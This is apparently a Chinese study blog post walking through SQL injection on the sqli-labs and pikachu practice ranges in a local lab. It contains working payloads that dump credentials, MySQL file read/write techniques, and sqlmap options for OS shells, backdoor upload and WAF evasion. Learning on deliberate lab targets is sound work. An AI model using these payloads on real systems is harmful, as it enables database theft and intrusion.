1. 回显注入
1.1 基本操作
- 尝试有无注入点
- 确定回显点
- 确定查询表的字段数量
- 确定当前数据库的操作权限:user()
- 查出数据库版本号:version()
- 高版本(>= 5.0):查询information_schema数据库
- 低版本(< 5.0)
- 查出数据库名:database()
- 开始查询各种信息
1.2 基于报错的注入
1.2.1 以Basic Challenges Less-2为例
a.尝试有无注入点
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20dhwudhwu
-
界面显示:

-
分析:显示出sql语句报错,说明后端将上面输入的有问题sql语句拿去执行了。存在sql注入漏洞。
b.确定查询的表中有多少的字段
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20order%20by%204%20--+
-
界面显示:

-
分析:当输入
order by为4时,显示出报错,说明目前查询的这个表只有3个字段。
c.确定目前的查询语句查询了多少字段与确定回显点
-
查询了多少字段
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20union%20select%201,2%20--+ 2. http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20union%20select%201,2,3%20--+- 界面显示:
- 分析:通过报出的错误可以比较明显的看出
select字段的查询为3个字段。
-
确定回显点
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+-
界面显示:

-
分析:通过将前面的
id=-1,使后面的select语句生效,再通过回显的效果看出,回显点为2和3。
d.查询当前的数据库版本与数据库名称
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,version(),database() --+
-
界面显示:

-
分析:数据库名为
security;数据库版本高于5.0,后续可以查询information_schema。
e.查询当前数据库(security)中拥有的所有表格
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema like 'security' --+
-
界面显示:

-
分析:通过回显可以得知
security数据库中有表emails,referers,uagents,users。
f.现在来查询users表(看起来这个表里面藏着重要信息)
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name like 'users' --+
-
界面显示:

-
分析:security数据库里面的users表里面有三个字段:
id,username,password。
g.开始查询数据
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from security.users --+
2. http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,20),3 from security.users --+
- 界面显示:
- 分析:信息都出来!如果信息过多的话可能会显示不完全,可以使用
View Page Source,也可以使用下面的substr()函数(这个函数会有32位截断),一段一段获取信息。
1.2.2 以Basic Challenges Less-3为例
a.尝试有无注入点
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%20bfjdhfquhr
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27
- 界面显示:
- 分析:胡乱输入发现没有发现报错并不意味着就没有注入点,可能是字符串类型的输入。通过报错显示后面有
')闭合,因此有注入点。
b.确定查询的表中有多少的字段
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27)%20order%20by%203%20--+
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27)%20order%20by%204%20--+
- 界面显示:
- 分析:输入
4时发生报错,说明当前表有3个字段。
c.确定目前的查询语句查询了多少字段与确定回显点
-
查询了多少字段
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1') union select 1,2 --+ 2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1') union select 1,2,3 --+- 界面显示:
- 分析:略
-
确定回显点
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+-
界面显示:

-
分析:略
d.查询当前的数据库版本与数据库名称
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,database(),version() --+
-
界面显示:

-
分析:数据库名字是
security;数据库版本是5.5.62-0ubuntu0.14.04.1。
e.查询当前数据库(security)中拥有的所有表格
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
-
界面显示:

-
分析:略
f.现在来查询users表(看起来这个表里面藏着重要信息)
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'security' --+
-
界面显示:

-
分析:略
g.开始查询数据
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,30),3 from security.users --+
-
界面显示:

-
分析:略
1.2.3 以Basic Challenges Less-4为例
a.尝试有无注入点
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-4/?id=1sdnfuinfew
2. http://192.168.103.130:8088/sqli-labs/Less-4/?id=1%22
- 界面显示:
- 分析:这个题目就是上面的Less-3中将
'换成"就可以了,后面的步骤就省略了。
2. 盲注
ascii码表:

2.1 基于布尔的盲注 (以Basic Challenges Less-8为例)
a.尝试有无注入点
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=-1
- 界面显示:
- 分析:通过比较页面的输出可以发现,当输入正确的sql语句界面会有"You are in ......",输入错误的sql语句界面就没有显示,可以确定有注入点。
b.检查当前输入的id是否可能有符号包裹
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1'
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' --+
- 界面显示:
- 分析:当加入
'后,sql语句报错/不正确,然后通过再加入--+注释掉后面得sql语句,sql不再报错,说明id值有''包裹。
c.确定当前数据库名的长度
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and length(database())=8 --+
-
界面显示:

-
分析:通过多次尝试可以得出当前使用的数据库名字的长度为
8。
d.通过二分法确定当前数据库的每个字母
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>64 --+
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>95 --+
- 界面显示:
- 分析:通过一步步的尝试可以逐一确定当前使用的数据库的名字为
security。
e.确定当前数据库的版本
- 输入:
http://192.168.103.130:8088/sqli-labs/Less-8/?id=1%27%20and%20substr(version(),1,1)=%275%27%20--+
-
界面显示:

-
分析:通过一步步的尝试可以确定当前的数据库版本高于
5.0,因此后续可以使用information_schema通过二分法来确定这个所有表的名字与每个表里面的字段名。后面步骤就省略了。
2.2 基于时间的盲注
2.2.1 以Basic Challenges Less-10为例
a.判断注入类型
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2' and sleep(5) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(5) --+
- 界面显示:
- 没有延迟

- 延迟了5秒

- 分析:不管输入是否正确,下面都显示"You are in ...... ",使用
"比使用'界面的返回时间更长,说明有注入点并且是"包裹。
b.确定当前数据库名的长度
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(length(database())=2,5,0)) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(length(database())=8,5,0)) --+
- 界面显示:
- 基本没感觉到延迟
- 明显感觉到延迟了,大约是5秒
- 分析:当前使用的数据库的名字字符长度是
8。
c.通过二分法确定当前数据库名的每一个字母
- 输入:
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))<64,5,0)) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))>64,5,0)) --+
3. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))=115,5,0)) --+
- 界面显示:
- 基本没感觉到延迟
- 明显感觉到延迟了,大约是5秒
- 明显感觉到延迟了,大约是5秒
- 分析:通过
二分法一步步的毕竟数据库名首字母的ascii码,最终得知其为s。接着再一个个尝试,然后就知道了整个数据库名为security。
2.2.2 以Basic Challenges Less-15为例
a.判断注入类型
- 输入:
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=123&passwd=456&submit=Submit
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin' and sleep(5)#&passwd=456&submit=Submit
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin" and sleep(5)#&passwd=456&submit=Submit
- 界面显示:

- 感觉到明显的延迟,大约是5秒
- 没感觉到明显延迟
- 分析:这是post提交,通过修改
uname可以使用基于时间的盲注。
b.确定当前数据库名的长度
- 输入:
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin' and sleep(if(length(database())=8,5,0))#&passwd=456&submit=Submit
-
界面显示:
可以明显感觉到延迟,大约5秒。

-
分析:通过尝试可以得知数据库长度为
8。
2.3 基于函数报错的盲注
2.3.1 基础知识
主要是使用extractvalue()与updatexml()这两个函数。
extractvalue(a,b)- a: 文件名,直接填1
- b: 需要输入xpath格式,填需要执行的sql代码
updatexml(c,d,e)- c: 文件名,直接填1
- d: 需要输入xpath格式,填需要执行的sql代码
- e: 需要更改的数值,直接填1
2.3.2 案例 (以Basic Challenges Less-11为例)
使用updatexml()函数
- 输入:
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-11/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) %23&passwd=1&submit=Submit
-
界面显示:

-
分析:通过
updatexml()函数报错可以得知当前的数据库名。后续略。
使用extractvalue()函数
- 输入:
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-11/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=1' or extractvalue(1,concat(0x7e,(select database()),0x7e)) %23&passwd=1&submit=Submit
-
界面显示:

-
分析:通过
extractvalue()函数报错可以得知当前的数据库名。后续略。
3. 搜索型注入 (以pikachu靶场为例)
a.发现注入漏洞
- 输入:
123'
-
界面显示:

-
分析:可以明显的看出后面有
%',所有以'包裹。
b.得到目前表中的字段数量
- 输入:
1. 123' order by 4 #
2. 123' order by 3 #
- 界面显示:

- 没有报错
- 分析:可以明显看出目前这个表有3个字段。
c.确定回显点
- 输入:
123' union select 1,2,3 #
-
界面显示:

-
分析:三个回显点
1、2、3都是。
d.查询当前数据库名、版本号与用户
- 输入:
123' union select user(),database(),version() #
-
界面显示:

-
分析:信息已经很明显了。
e.查询目前数据库中拥有的表
- 输入:
123' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
-
界面显示:

-
分析:有表格
httpinfo,member,message,users,xssblind。
f.查询表users中的字段
- 输入:
123' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
-
界面显示:

-
分析:
users表里面有字段id,username,password,level。
g.查询users表里面的一些信息
- 输入:
1. 123' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from pikachu.users #
2. 123' union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,30),3 from pikachu.users #
- 界面显示:
- 分析:如果显示的不完全可以选择使用
substr()函数。
4. 加解密型注入 (以Basic Challenges Less-21为例)
a.在Cookie中加入uname
base64加密:123' --> MTIzJw==
- 输入:
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; uname=MTIzJw==
-
界面显示:

-
分析:从报错界面可以很清楚的得知,
uname参数有')包裹。
b.得到当前的数据库名、版本号、用户
base64加密:123') union select database(),version(),user() # --> MTIzJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigpLHVzZXIoKSAj
- 输入:
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; uname=MTIzJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigpLHVzZXIoKSAj
-
界面显示:

-
分析:界面中已经显示的很清楚了。后续操作跟前面的差不多,只不过多一次base64加密。
5. MySQL文件读写
在 MySQL 中,文件读写并不是像普通编程语言那样随意操作,而是受限于严格的安全权限和特定的 SQL 语句。
通常我们讨论 MySQL 文件读写,指的就是这两个操作:读取文件内容到数据库(Load Data / Load_File)和将数据库结果写入文件(Into Outfile)。
1. 核心前提:secure_file_priv
在开始之前,你必须检查 MySQL 的安全设置。为了防止黑客通过 SQL 注入窃取服务器文件,MySQL 使用 secure_file_priv 参数限制读写目录。
- 查看当前限制:
SHOW VARIABLES LIKE "secure_file_priv";
- 结果含义:
NULL:禁止所有读写操作。/var/lib/mysql-files/:只能在该目录下进行读写。空值:可以在任意位置读写(极度不安全)。
2. 读取文件(Read)
A. 使用 LOAD DATA (最常用)
用于将结构化的文本文件(如 CSV)批量导入到表中。这是性能最高的数据导入方式。
LOAD DATA INFILE '/var/lib/mysql-files/data.csv'
INTO TABLE users
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n'
IGNORE 1 LINES; -- 忽略表头
B. 使用 LOAD_FILE() 函数
用于读取单个文件的内容,并将其作为字符串返回。常用于读取配置文件、密钥或图片(存入 BLOB)。
SELECT LOAD_FILE('/var/lib/mysql-files/config.txt') AS file_content;
3. 写入文件(Write)
使用 SELECT ... INTO OUTFILE
将查询结果直接保存到服务器本地的文件中。
SELECT id, username, email
FROM users
INTO OUTFILE '/var/lib/mysql-files/backup_users.txt'
FIELDS TERMINATED BY ','
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n';
注意:
- MySQL 不会覆盖已存在的文件。如果文件已存在,报错。
- 生成的文件属于运行 MySQL 服务的用户(通常是
mysql用户),普通用户可能没有权限直接删除。
6.sqlmap的使用
- 获取目标
-u: 用于url方式提交,指定url-r: 用于post方式提交,用于指定post内容-p: 指定需要测试的参数--forms: 可以自定识别查询form表单
- 查询
-D: 指定需要查询的数据库名-T: 指定需要查询的表名-C: 指定需要查询的字段名--dbs: 需要查询有哪些数据库--tables: 需要查询有哪些表--columns: 需要查询有哪些字段
- 枚举与脱裤
--level: 设定查询等级--risk: 设定查询等级--dump: 直接下载表中的数据--current-user: 查询当前用户--current-db: 查询当前使用数据库名
- 绕过与伪装(对抗 WAF/IDS)
tamper: 使用自带的脚本对 Payload 进行混淆random-agent: 随机切换 User-Agent,模仿不同浏览器,防止被识别为脚本工具proxy: 设置代理,隐藏自己的真实 IPdelay: 设置请求间隔(秒),防止请求太快被服务器封 IP
- 权限提升与系统交互
--os-shell: 如果条件满足,直接返回一个交互式的系统 shell--file-read / --file-write: 读取服务器上的敏感文件或上传后门文件
- 性能与技术微调
--technique: 指定注入技术(B: 布尔盲注, E: 报错注入, U: 联合查询, S: 堆叠注入, T: 时间盲注)--threads: 设置并发线程数(默认为 1,建议调高以加速)--batch: 全自动模式,所有询问(Y/N)都按默认项执行,适合脚本自动化
硬件及软件说明:
I.硬件(电脑)
Apple Mac mini M4
II.软件(vmware虚拟机)
- ubuntu作为靶机
- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
- kali作为攻击机
- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- IP:
ubuntu中安装docker靶场:hominsu/sqli-labs:latest
ubuntu中安装docker靶场:hominsu/pikachu:latest
# 拉取docker镜像
sudo docker pull hominsu/sqli-labs
sudo docker pull hominsu/pikachu
# 为镜像创建容器,并运行
## sqli-labs 端口设为 8088
## pikachu 端口设为 8082
sudo docker run -dt --name sqli-labs -p 8088:80 hominsu/sqli-labs
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
📌 不一定对,如有错误,欢迎指出🙂。













浙公网安备 33010602011771号